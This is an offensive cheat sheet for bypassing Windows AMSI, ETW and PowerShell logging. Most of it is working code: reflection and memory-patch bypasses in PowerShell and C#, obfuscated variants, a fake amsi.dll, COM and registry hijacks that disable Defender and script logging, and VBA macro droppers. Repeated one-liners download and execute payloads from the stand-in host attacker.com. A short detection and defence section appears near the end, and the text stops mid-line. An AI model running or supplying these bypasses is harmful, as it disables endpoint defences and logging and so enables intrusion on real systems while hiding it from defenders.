Legend:
[PS]= PowerShell |[NET]= .NET |[VBS]= VBScript/JScript |[PATCH]= Memory patching |[REFLECT]= Reflection-based |[OPSEC]= Stealth note |[DETECT]= Detection consideration
1. What is AMSI
What it means: AMSI (Antimalware Scan Interface) is a Windows API framework introduced in Windows 10 that allows applications — primarily PowerShell, VBScript, JScript, .NET, and Office macros — to submit content to registered AV/EDR engines for scanning at runtime, BEFORE execution. Unlike file-based AV that scans files on disk, AMSI scans content IN MEMORY just before it runs.
Without AMSI:
File on disk → AV scan → Blocked
PowerShell script → executes directly (no scan)
With AMSI:
File on disk → AV scan → Blocked
PowerShell IEX(payload) → AMSI scans string → Blocked!
Encoded payload → decoded → AMSI scans decoded → Blocked!
What AMSI Covers
Applications that use AMSI:
✔ PowerShell (versions 5+) ← most common target
✔ Windows Script Host (VBScript/JScript)
✔ .NET 4.8+ (CLR)
✔ Office VBA macros (Office 365)
✔ Excel 4.0 macros (XLM)
✔ WMI (Windows Management Instrumentation)
✔ Windows Defender itself
✔ Some third-party AV engines
Applications NOT covered by AMSI:
✖ cmd.exe ← no AMSI scanning!
✖ Python / Ruby / Perl ← not integrated
✖ Compiled EXE/DLL ← handled by file AV instead
✖ Raw shellcode execution ← no AMSI for binary
AMSI Return Values
AMSI_RESULT_CLEAN = 0 ← safe, allow execution
AMSI_RESULT_NOT_DETECTED = 1 ← not detected
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
AMSI_RESULT_DETECTED = 32768 ← MALICIOUS → block!
2. How AMSI Works Internally
What it means: Understanding the internals is essential to bypassing AMSI. The AMSI pipeline flows from the application → amsi.dll → provider (Windows Defender) → scan result. Every bypass targets a specific point in this chain to either disable scanning, corrupt the result, or prevent the scan from occurring at all.
2.1 AMSI Architecture
┌──────────────────────────────────────────────────────────────┐
│ PowerShell / .NET / VBS │
│ │
│ │ │
│ ▼ │
│ amsi.dll (loaded into process) │
│ │ │
│ ├── AmsiInitialize() → create AMSI context │
│ ├── AmsiOpenSession() → open scan session │
│ ├── AmsiScanBuffer() → scan content ←─ MAIN TARGET │
│ │ │
│ │ ▼ │
│ │ IAntimalwareProvider::Scan() │
│ │ │ │
│ │ ▼ │
│ │ Windows Defender / EDR engine │
│ │ │ │
│ │ ▼ │
│ │ AMSI_RESULT (clean / detected) │
│ │ │
│ ├── AmsiCloseSession() │
│ └── AmsiUninitialize() │
└──────────────────────────────────────────────────────────────┘
Bypass points:
[A] Patch AmsiScanBuffer() → always return CLEAN
[B] Corrupt AmsiInitialize() → context = invalid
[C] Null out amsiContext → skip scan
[D] Unload amsi.dll → no provider to scan
[E] Obfuscate input → bypass signature detection
[F] Force error → AMSI_RESULT treated as clean
2.2 AmsiScanBuffer() Signature
// amsi.dll export
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext, // AMSI context handle
PVOID buffer, // pointer to content to scan
ULONG length, // length of content
LPCWSTR contentName, // optional name
HAMSISESSION amsiSession, // scan session
AMSI_RESULT* result // OUT: scan result
);
// Patch target: make this function always return E_INVALIDARG
// or always write AMSI_RESULT_CLEAN to result pointer
3. AMSI Bypass — PowerShell Reflection
What it means: PowerShell reflection allows access to private .NET fields and methods at runtime. The amsiInitFailed field in the System.Management.Automation.AmsiUtils class, when set to true, causes PowerShell to skip all AMSI scans. This is the most famous and historically most-used bypass.
3.1 Classic amsiInitFailed Bypass (Original)
# The OG bypass — now flagged by most AVs in this plain form
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# What it does:
# 1. Get AmsiUtils class via reflection
# 2. Get private static field 'amsiInitFailed'
# 3. Set it to $true
# 4. PowerShell now skips ALL AMSI scanning for this session!
3.2 Obfuscated Variants (Bypass Detection)
# Variant 1: String splitting (avoid signature on 'amsiInitFailed')
$w = 'System.Management.Automation.A';$c = 'msiUtils';
$assembly = [Ref].Assembly.GetType($w+$c)
$field = $assembly.GetField('amsiI'+'nitFailed','NonPublic,Static')
$field.SetValue($null,$true)
# Variant 2: Char array assembly
$str = [String]::Join('',([Char[]](83,121,115,116,101,109,46,77,97,110,
97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,
46,65,109,115,105,85,116,105,108,115)))
[Ref].Assembly.GetType($str).GetField('amsiI'+'nitFailed','NonPublic,Static').SetValue($null,$true)
# Variant 3: Variable concatenation
$a='Am';$b='si';$c='Ut';$d='ils';
$e='amsi';$f='Init';$g='Failed';
[Ref].Assembly.GetType('System.Management.Automation.'+$a+$b+$c+$d).
GetField($e+$f+$g,'NonPublic,Static').SetValue($null,$true)
# Variant 4: Base64 encoded execution
# Encode the bypass and run via -EncodedCommand
$bypass = '[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true)'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($bypass))
powershell -EncodedCommand $encoded
# Variant 5: Reverse string
$r = 'dliaFtinIisma'[-1..-13] -join ''
# → 'amsiInitFailed' (reversed)
$t = 'slitUisma'[-1..-9] -join ''
# → 'amsiUtils'
[Ref].Assembly.GetType('System.Management.Automation.'+$t).
GetField($r,'NonPublic,Static').SetValue($null,$true)
3.3 amsiContext Null Bypass
# Target: amsiContext private field — set to null IntPtr
# Causes NullReferenceException in AmsiScanBuffer → treated as clean
$a = [Ref].Assembly.GetTypes()
ForEach ($b in $a) {
if ($b.Name -like '*iUtils*') { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach ($e in $d) {
if ($e.Name -like '*Context*') { $f = $e }
}
$g = $f.GetValue($null)
$ptr = [IntPtr]$g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Overwrites amsiContext with 0x00000000 → NULL → scan fails silently
4. AMSI Bypass — Memory Patching
What it means: Directly patch the bytes of AmsiScanBuffer() in memory to always return a "not detected" result. This modifies the function's machine code — the first few bytes — with a ret or xor eax,eax; ret stub, causing it to return immediately without scanning.
4.1 PowerShell Memory Patch
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN (0x80070057)
# Patch bytes: xor eax,eax / ret → function returns 0 immediately
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
# B8 57 00 07 80 = mov eax, 0x80070057 (E_INVALIDARG)
# C3 = ret
$amsiDll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[Ref].Assembly.GetModules()
)
# Find AmsiScanBuffer in amsi.dll
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class W {
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr m, string p);
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr a, UIntPtr s, uint p, out uint o);
}
"@
$lib = [W]::GetModuleHandle("amsi.dll")
$addr = [W]::GetProcAddress($lib, "AmsiScanBuffer")
# Make memory writable
$out = 0
[W]::VirtualProtect($addr, [UIntPtr]6, 0x40, [ref]$out)
# Patch bytes
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)
Write-Host "[+] AmsiScanBuffer patched!"
4.2 C# / .NET Memory Patch
using System;
using System.Runtime.InteropServices;
public class AmsiPatch {
[DllImport("kernel32")] static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr m, string p);
[DllImport("kernel32")] static extern bool VirtualProtect(IntPtr a,UIntPtr s,uint p,out uint o);
public static void Patch() {
IntPtr lib = GetModuleHandle("amsi.dll");
IntPtr addr = GetProcAddress(lib, "AmsiScanBuffer");
uint oldProt;
VirtualProtect(addr, (UIntPtr)6, 0x40, out oldProt);
// Patch: mov eax, 0x80070057; ret
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, addr, patch.Length);
// Restore protection
VirtualProtect(addr, (UIntPtr)6, oldProt, out oldProt);
Console.WriteLine("[+] AMSI patched!");
}
}
4.3 Alternate Patch Bytes
Patch options for AmsiScanBuffer (x64):
Option 1: mov eax, 0x80070057; ret (E_INVALIDARG)
Bytes: B8 57 00 07 80 C3
Option 2: xor eax, eax; ret (return 0 = S_OK, clean)
Bytes: 31 C0 C3
Option 3: mov eax, 1; ret (AMSI_RESULT_NOT_DETECTED)
Bytes: B8 01 00 00 00 C3
Option 4: ret (no-op return, eax unchanged)
Bytes: C3
Most effective: Option 1 (E_INVALIDARG causes bypass)
Most stealthy: Option 3 (returns "not detected" cleanly)
5. AMSI Bypass — Obfuscation
What it means: AMSI relies on signature-based detection just like AV — it looks for known malicious strings. Heavy obfuscation of the payload string prevents signature matching without needing to patch AMSI itself. The decoded content still runs — AMSI only scanned the obfuscated form.
5.1 String Concatenation
# Flagged:
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-Mimikatz.ps1')
# Bypasses (split the detected string):
$a = 'Invoke-'; $b = 'Mimikatz'
IEX ($a + $b) # Assembles after AMSI scans individual parts
# Or:
$url = 'http://attacker' + '.com/' + 'Invoke-Mimikatz.ps1'
IEX (New-Object Net.WebClient).DownloadString($url)
5.2 Base64 Encoding
# Encode payload
$cmd = 'Invoke-Mimikatz'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
# → 'SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA'
# Execute
IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc)))
# PowerShell -EncodedCommand
powershell.exe -EncodedCommand SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA
# NOTE: AMSI DOES scan the decoded content in PS5+
# Use base64 + additional obfuscation layers
5.3 XOR Encoding (Avoid Static Signatures)
# XOR encode payload
$payload = 'Invoke-Mimikatz'
$key = 0x41
$encoded = $payload.ToCharArray() | ForEach-Object { [byte]([byte]$_ -bxor $key) }
# Decode and execute at runtime
$decoded = -join ($encoded | ForEach-Object { [char]([byte]$_ -bxor $key) })
IEX $decoded
5.4 Invoke-Obfuscation Techniques
# SecureString obfuscation
$ss = ConvertTo-SecureString 'Invoke-Mimikatz' -AsPlainText -Force
$ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss)
$str = [System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ptr)
IEX $str
# Environment variable insertion
$env:byp = 'Invoke-Mimikatz'
IEX $env:byp
# Tick mark insertion (PS ignores ticks in strings)
IEX "Inv`oke-Mimi`katz"
# Case variation
iEx "invoke-MIMIKATZ"
# Backtick + variable mix
$x = "Mi`mikatz"
IEX "Invoke-$x"
5.5 Invoke-Obfuscation Tool
# Tool: https://github.com/danielbohannon/Invoke-Obfuscation
Import-Module Invoke-Obfuscation
# Interactive obfuscation
Invoke-Obfuscation
# Commands:
SET SCRIPTPATH C:\tools\Invoke-Mimikatz.ps1
TOKEN\ALL\1 # token obfuscation
ENCODING\5 # encoding obfuscation
STRING\1 # string obfuscation
OUT C:\loot\obfuscated.ps1
# Automated (Chameleon — modern alternative)
chameleon -i Invoke-Mimikatz.ps1 -o obfuscated.ps1 -v
5.6 Chimera — AMSI/AV Bypass Tool
# Chimera obfuscates PS scripts to bypass AMSI + AV
# https://github.com/tokyoneon/Chimera
chimera.sh -f Invoke-Mimikatz.ps1 \
-l 3 \
-o chimera_output.ps1 \
-v -t -j -g -i -s -b \
-c 'https://attacker.com/amsi.ps1'
6. AMSI Bypass — Force Error / Null Context
What it means: AMSI errors (like AMSI_E_NOT_INITIALIZED) are silently treated as clean by the calling application — an error in scanning does not block execution. By corrupting the AMSI context structure or forcing an unhandled exception inside AmsiScanBuffer, you can make every scan "fail open."
6.1 Corrupting amsiContext
# amsiContext is a handle (pointer) stored in a private field
# Writing zeros to it = NULL context = AmsiScanBuffer returns error
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a){if($b.Name -like '*iUtils'){$c=$b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d){if($e.Name -like '*Context'){$f=$e}}
$g = $f.GetValue($null)
$ptr = [IntPtr]$g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
# Result: AmsiScanBuffer fails with ERROR_INVALID_HANDLE
# PowerShell treats scan error as clean → execution proceeds
6.2 Exception-Based Bypass (PowerShell 2.0 Downgrade)
# PowerShell 2.0 has NO AMSI!
# Downgrade if PS2 engine is available
powershell -version 2 -Command "IEX (IWR http://attacker.com/payload.ps1)"
powershell.exe -Version 2 -ExecutionPolicy Bypass -File payload.ps1
# Check if PS2 is available:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
# Note: PS2 may not be present on modern Win10/11
# Check: $PSVersionTable.PSVersion
7. AMSI Bypass — Registry Keys
What it means: AMSI scanning can be disabled system-wide or per-user via registry keys. Requires admin or SYSTEM privileges — but once set, ALL PowerShell sessions bypass AMSI without any per-session patching.
7.1 Disable AMSI via Registry
:: Disable AMSI for all PowerShell (SYSTEM / Admin required)
reg add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" \
/v AmsiEnable /t REG_DWORD /d 0 /f
:: Disable Windows Defender Real-Time (Admin required)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" \
/v DisableAntiSpyware /t REG_DWORD /d 1 /f
:: Disable AMSI for .NET
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework" \
/v ETWEnabled /t REG_DWORD /d 0 /f
:: Set PowerShell execution policy (does NOT bypass AMSI but helps)
reg add "HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" \
/v ExecutionPolicy /t REG_SZ /d Unrestricted /f
:: Per-user (no admin needed!)
reg add "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" \
/v AmsiEnable /t REG_DWORD /d 0 /f
7.2 PowerShell Execution Policy Bypass (Complements AMSI Bypass)
# Does NOT bypass AMSI but needed alongside it
# Method 1: -ExecutionPolicy Bypass flag
powershell -ExecutionPolicy Bypass -File payload.ps1
# Method 2: -ep bypass
powershell -ep bypass -c "IEX(IWR 'http://attacker.com/p.ps1')"
# Method 3: Set-ExecutionPolicy
Set-ExecutionPolicy -Scope CurrentUser Unrestricted -Force
Set-ExecutionPolicy -Scope Process Bypass -Force
# Method 4: Bypass via encoded command
powershell -EncodedCommand BASE64_COMMAND
# Method 5: pipe input
echo IEX(IWR 'http://attacker.com/p.ps1') | powershell -
Get-Content payload.ps1 | powershell -
8. AMSI Bypass — DLL Hijacking
What it means: When PowerShell starts, it searches for amsi.dll in a predictable order. By planting a fake amsi.dll in a higher-priority search path (like the current directory or application directory), you can replace AMSI with a hollow DLL that exports all required functions but never actually scans anything.
8.1 Fake amsi.dll
// fake_amsi.dll — exports all AMSI functions but does nothing
#include <windows.h>
// Must export these functions with correct signatures
__declspec(dllexport)
HRESULT AmsiInitialize(LPCWSTR appName, HAMSICONTEXT* amsiContext) {
return S_OK; // success — but context is fake
}
__declspec(dllexport)
void AmsiUninitialize(HAMSICONTEXT amsiContext) {
return;
}
__declspec(dllexport)
HRESULT AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION* session) {
return S_OK;
}
__declspec(dllexport)
void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION session) {
return;
}
__declspec(dllexport)
HRESULT AmsiScanBuffer(HAMSICONTEXT ctx, PVOID buf, ULONG len,
LPCWSTR name, HAMSISESSION session, AMSI_RESULT* result) {
*result = AMSI_RESULT_CLEAN; // always clean!
return S_OK;
}
__declspec(dllexport)
HRESULT AmsiScanString(HAMSICONTEXT ctx, LPCWSTR str,
LPCWSTR name, HAMSISESSION session, AMSI_RESULT* result) {
*result = AMSI_RESULT_CLEAN; // always clean!
return S_OK;
}
# Compile on Linux
x86_64-w64-mingw32-gcc fake_amsi.c -shared -o amsi.dll
# Place in current dir before running powershell:
copy amsi.dll C:\Users\Public\amsi.dll
cd C:\Users\Public\
powershell.exe
# PowerShell loads your fake amsi.dll → no scanning!
9. AMSI Bypass — COM Server Abuse
What it means: The AMSI provider (Windows Defender) is registered as a COM server. By abusing COM registry keys that a low-priv user can write to (HKCU), you can redirect AMSI's COM calls to a fake provider or a non-existent one.
9.1 COM Hijack AMSI Provider
:: AMSI provider COM CLSID: {2781761E-28E0-4109-99FE-B9D127C57AFE}
:: Check if HKCU\CLSID exists (user-writable)
reg query HKCU\Software\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}
:: Redirect to fake DLL
reg add "HKCU\Software\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\InprocServer32" \
/ve /t REG_SZ /d "C:\Users\Public\fake_amsi_provider.dll" /f
:: Or redirect to non-existent path → AMSI fails to load → open!
reg add "HKCU\Software\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\InprocServer32" \
/ve /t REG_SZ /d "C:\nonexistent\fake.dll" /f
10. AMSI Bypass — .NET / C# Methods
What it means: .NET applications that use the CLR also invoke AMSI scans via the AmsiScanBuffer API. These bypasses target the .NET runtime specifically, used when running malicious .NET assemblies or C# payloads.
10.1 In-Process .NET Patch
using System;
using System.Runtime.InteropServices;
class AmsiBypass {
[DllImport("kernel32")] static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr m, string f);
[DllImport("kernel32")] static extern bool VirtualProtect(
IntPtr a, UIntPtr s, uint p, out uint o);
public static void Bypass() {
var lib = GetModuleHandle("amsi.dll");
var func = GetProcAddress(lib, "AmsiScanBuffer");
uint old;
VirtualProtect(func, (UIntPtr)6, 0x40, out old);
// Patch: mov eax, 0x80070057; ret
Marshal.Copy(new byte[]{0xB8,0x57,0x00,0x07,0x80,0xC3}, 0, func, 6);
VirtualProtect(func, (UIntPtr)6, old, out old);
}
static void Main() {
Bypass();
Console.WriteLine("[+] AMSI disabled");
// Load + execute any assembly now...
}
}
10.2 Load Assembly Without AMSI (In-Memory)
# Load .NET assembly from memory — combine with AMSI bypass
# Bypass AMSI first, then load
# AMSI bypass (any method above)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Load assembly from URL into memory (no disk touch)
$data = (New-Object Net.WebClient).DownloadData('http://attacker.com/payload.dll')
$assembly = [Reflection.Assembly]::Load($data)
# Call method in loaded assembly
$type = $assembly.GetType('Namespace.ClassName')
$method = $type.GetMethod('MethodName')
$method.Invoke($null, $null)
10.3 PowerShell Runspace (Isolated)
# Create new PowerShell runspace — fresh AMSI context
# Patch AMSI in new runspace before loading payload
Add-Type -TypeDefinition @"
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
public class PSRunner {
public static void Run(string cmd) {
using (var rs = RunspaceFactory.CreateRunspace()) {
rs.Open();
using (var ps = PowerShell.Create()) {
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
}
}
}
}
"@
# Run payload in isolated runspace
[PSRunner]::Run(@'
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
IEX (IWR 'http://attacker.com/payload.ps1')
'@)
11. AMSI Bypass — CLM / Constrained Language Mode
What it means: Constrained Language Mode (CLM) restricts PowerShell — prevents reflection, COM objects, and many .NET types. It's often deployed alongside AMSI to create defence-in-depth. Bypassing CLM is often needed before you can even run the AMSI bypass code.
11.1 Check Current Language Mode
$ExecutionContext.SessionState.LanguageMode
# FullLanguage ← no restrictions
# ConstrainedLanguage ← CLM active (need to bypass)
# RestrictedLanguage ← most restricted
11.2 CLM Bypass — PowerShell 2.0
:: PS2 has no CLM, no AMSI, no script block logging
powershell -version 2
11.3 CLM Bypass — Custom Runspace
// Compile as EXE — custom runspace bypasses CLM
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
class CLMBypass {
static void Main(string[] args) {
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
// This runspace is NOT constrained!
using (Pipeline pipe = rs.CreatePipeline()) {
pipe.Commands.AddScript(args);
pipe.Invoke();
}
}
}
// Usage: CLMBypass.exe "IEX(IWR 'http://attacker.com/p.ps1')"
11.4 CLM Bypass — COM Objects
# In CLM: COM objects sometimes still work!
$shell = New-Object -ComObject WScript.Shell
$shell.Run("powershell -ep bypass -c `"IEX(IWR 'http://attacker.com/p.ps1')`"")
11.5 CLM Bypass — InstallUtil / MSBuild
:: Use .NET tools (outside PowerShell CLM) to run code
:: Already covered in LOLBAS notes
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /u payload.exe
12. Script Block Logging Bypass
What it means: PowerShell Script Block Logging (Event ID 4104) logs ALL PowerShell code that executes — even decoded/deobfuscated content. AMSI bypass still needed to stop AV, but SBL bypass stops forensic investigators from reading your payload in event logs.
12.1 Disable Script Block Logging via Registry
:: Disable via registry (requires admin)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" \
/v EnableScriptBlockLogging /t REG_DWORD /d 0 /f
:: Per-user
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" \
/v EnableScriptBlockLogging /t REG_DWORD /d 0 /f
12.2 Disable via Reflection (No Admin)
# Disable script block logging via reflection — no admin needed
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').
GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
if ($settings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']) {
$settings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
}
12.3 PSReadLine History Disable
# Disable PS history (ConsoleHost_history.txt)
Set-PSReadlineOption -HistorySaveStyle SaveNothing
# Clear existing history
Remove-Item (Get-PSReadlineOption).HistorySavePath
# Per-session: remove PSReadLine module
Remove-Module PSReadLine -Force
13. ETW (Event Tracing) Bypass
What it means: ETW (Event Tracing for Windows) is the underlying telemetry framework that feeds data to AMSI, SBL, and EDRs. Patching the ETW provider in ntdll causes tracing to silently fail — EDRs receive no telemetry about your PowerShell session.
13.1 Patch EtwEventWrite
# Patch EtwEventWrite in ntdll.dll → stops all ETW events from process
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class ETW {
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr m, string f);
[DllImport("kernel32")] public static extern bool VirtualProtect(
IntPtr a, UIntPtr s, uint p, out uint o);
}
"@
$lib = [ETW]::GetModuleHandle("ntdll.dll")
$func = [ETW]::GetProcAddress($lib, "EtwEventWrite")
$old = 0
[ETW]::VirtualProtect($func, [UIntPtr]4, 0x40, [ref]$old)
# Patch: ret (0xC3) — immediately return without writing event
$patch = [Byte[]](0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $func, 1)
[ETW]::VirtualProtect($func, [UIntPtr]4, $old, [ref]$old)
Write-Host "[+] ETW patched — no tracing"
13.2 Combined AMSI + ETW Bypass (One Block)
# Full bypass: AMSI + ETW + Script Block Logging
# 1. AMSI
$a=[Ref].Assembly.GetTypes()
ForEach($b in $a){if($b.Name -like '*iUtils'){$c=$b}}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d){if($e.Name -like '*Context'){$f=$e}}
$g=$f.GetValue($null);$ptr=[IntPtr]$g
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
# 2. ETW
Add-Type -TypeDefinition @"
using System;using System.Runtime.InteropServices;
public class E{
[DllImport("k"+"ernel32")]public static extern IntPtr GetModuleHandle(string n);
[DllImport("k"+"ernel32")]public static extern IntPtr GetProcAddress(IntPtr m,string f);
[DllImport("k"+"ernel32")]public static extern bool VirtualProtect(IntPtr a,UIntPtr s,uint p,out uint o);
}
"@
$l=[E]::GetModuleHandle("ntdll");$f=[E]::GetProcAddress($l,"EtwEventWrite")
$o=0;[E]::VirtualProtect($f,[UIntPtr]4,0x40,[ref]$o)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]](0xC3),0,$f,1)
[E]::VirtualProtect($f,[UIntPtr]4,$o,[ref]$o)
# 3. Script Block Logging
$s=[Ref].Assembly.GetType('System.Management.Automation.Utils').
GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
if($s.ContainsKey('HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging')){
$s['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']['EnableScriptBlockLogging']=0
}
# Now load payload safely
IEX(IWR 'http://attacker.com/payload.ps1' -UseBasicParsing)
14. AMSI in Other Contexts
14.1 VBScript / JScript AMSI Bypass
' AMSI scans VBScript/JScript via wscript.exe / cscript.exe
' String concatenation to avoid signature detection
' Flagged:
CreateObject("WScript.Shell").Run "cmd /c whoami"
' Bypassed (split strings):
Dim a,b,c
a = "WScript"
b = ".Shell"
c = CreateObject(a+b)
c.Run "cmd /c whoami",0,False
' COM Object variation
Dim x : x = "WScr" & "ipt.Shell"
Set obj = CreateObject(x)
obj.Run "powershell -ep bypass -c ""IEX(IWR 'http://attacker.com/p.ps1')"""
14.2 AMSI in Office Macros
' Office VBA — AMSI scans macros in Office 365
' Bypass: string building + sleep to avoid timing-based scans
Sub AutoOpen()
Dim s1 As String
Dim s2 As String
Dim s3 As String
' Split malicious strings
s1 = "power"
s2 = "shell"
s3 = " -ep bypass -enc BASE64PAYLOAD"
' Execute via Shell
Shell s1 & s2 & s3
End Sub
' Or use WScript.Shell via COM
Sub Run()
Dim oShell As Object
Set oShell = CreateObject("WScript" & ".Shell")
oShell.Run "powershell -enc BASE64PAYLOAD", 0, False
End Sub
14.3 AMSI in .NET Assembly Loading
# .NET 4.8+ scans assemblies loaded via Assembly.Load()
# Bypass: patch AMSI first, then load
# Step 1: Bypass AMSI (any method above)
# Step 2: Load assembly — now not scanned!
$data = [Convert]::FromBase64String('BASE64_OF_ASSEMBLY')
[Reflection.Assembly]::Load($data)
# OR: Load from web
$bytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/assembly.dll')
[Reflection.Assembly]::Load($bytes)
15. Detection & Defense
What Defenders Look For
AMSI Bypass Indicators:
Event ID 4104 (Script Block Logging):
→ amsiInitFailed
→ AmsiScanBuffer
→ VirtualProtect + amsi.dll
→ GetProcAddress + AmsiScanBuffer
→ SetValue($null,$true)
Memory Indicators (EDR):
→ AmsiScanBuffer first bytes = C3 (ret) → patched!
→ EtwEventWrite first byte = C3 → ETW patched!
→ VirtualProtect on amsi.dll memory → patching attempt
Behavioral:
→ PowerShell spawning without AMSI scan results
→ powershell.exe -version 2 (downgrade attempt)
→ PSReadLine history disabled
→ Registry modification to ScriptBlockLogging
Defender Mitigations:
✔ Enforce PowerShell 5+ (block PS2 downgrade)
✔ Enable ScriptBlockLogging (Event ID 4104)
✔ Enable Transcription logging
✔ Enable Module Logging
✔ WDAC / AppLocker to block PS scripts
✔ Constrained Language Mode
✔ Protected Process Light for AV processes
✔ Credential Guard
✔ Monitor VirtualProtect on amsi.dll / ntdll.dll
16. Cheat Sheet
Quick Bypass Reference
# ═══ AMSI BYPASSES (Obfuscate before use!) ═══
# 1. amsiInitFailed (classic — obfuscate!)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# 2. amsiContext null (stealthier)
$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if($b.Name -like '*iUtils'){$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d){if($e.Name -like '*Context'){$f=$e}};$g=$f.GetValue($null);[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,[IntPtr]$g,1)
# 3. Memory patch (most reliable)
# → See Section 4.1 full code
# 4. PowerShell 2.0 downgrade
powershell -version 2
# 5. String splitting (bypass sig on payload)
$a='Am';$b='siUtils';$c=[Ref].Assembly.GetType('System.Management.Automation.'+$a+$b)
$c.GetField('amsi'+'Init'+'Failed','NonPublic,Static').SetValue($null,$true)
Decision Tree
Need to run PowerShell payload?
│ ├─→ Check LanguageMode first
│ ConstrainedLanguage? → CLM bypass (PS2 / custom runspace)
│ FullLanguage? → proceed to AMSI bypass
│ ├─→ AMSI Bypass (pick based on EDR level):
│ Basic AV only? → amsiInitFailed (obfuscated)
│ Moderate EDR? → amsiContext null + ETW patch
│ Advanced EDR? → Memory patch + SBL disable
│ All else fails? → PS2 downgrade / fake amsi.dll
│ ├─→ Also bypass Script Block Logging?
│ → Reflection SBL disable
│ → PSReadLine history off
│ └─→ Load payload:
IEX(IWR 'http://attacker.com/p.ps1' -UseBasicParsing)
Obfuscation Quick Reference
# Split any detected string
'Invoke-Mimikatz' → 'Invoke-'+'Mimikatz'
# Backtick insertion (PS ignores)
'Invoke-Mimikatz' → 'Inv`oke-Mimi`katz'
# Case mixing
'amsiInitFailed' → 'AMSIinitFAILED'
# Char array
[string]::join('', [char[]](65,109,115,105,85,116,105,108,115))
# → 'AmsiUtils'
# Reverse
'slitUisma'[-1..-9] -join '' → 'amsiUtils'
# SecureString
$ss = ConvertTo-SecureString 'payload' -AsPlainText -Force
[Runtime.InteropServices.Marshal]::PtrToStringBSTR(
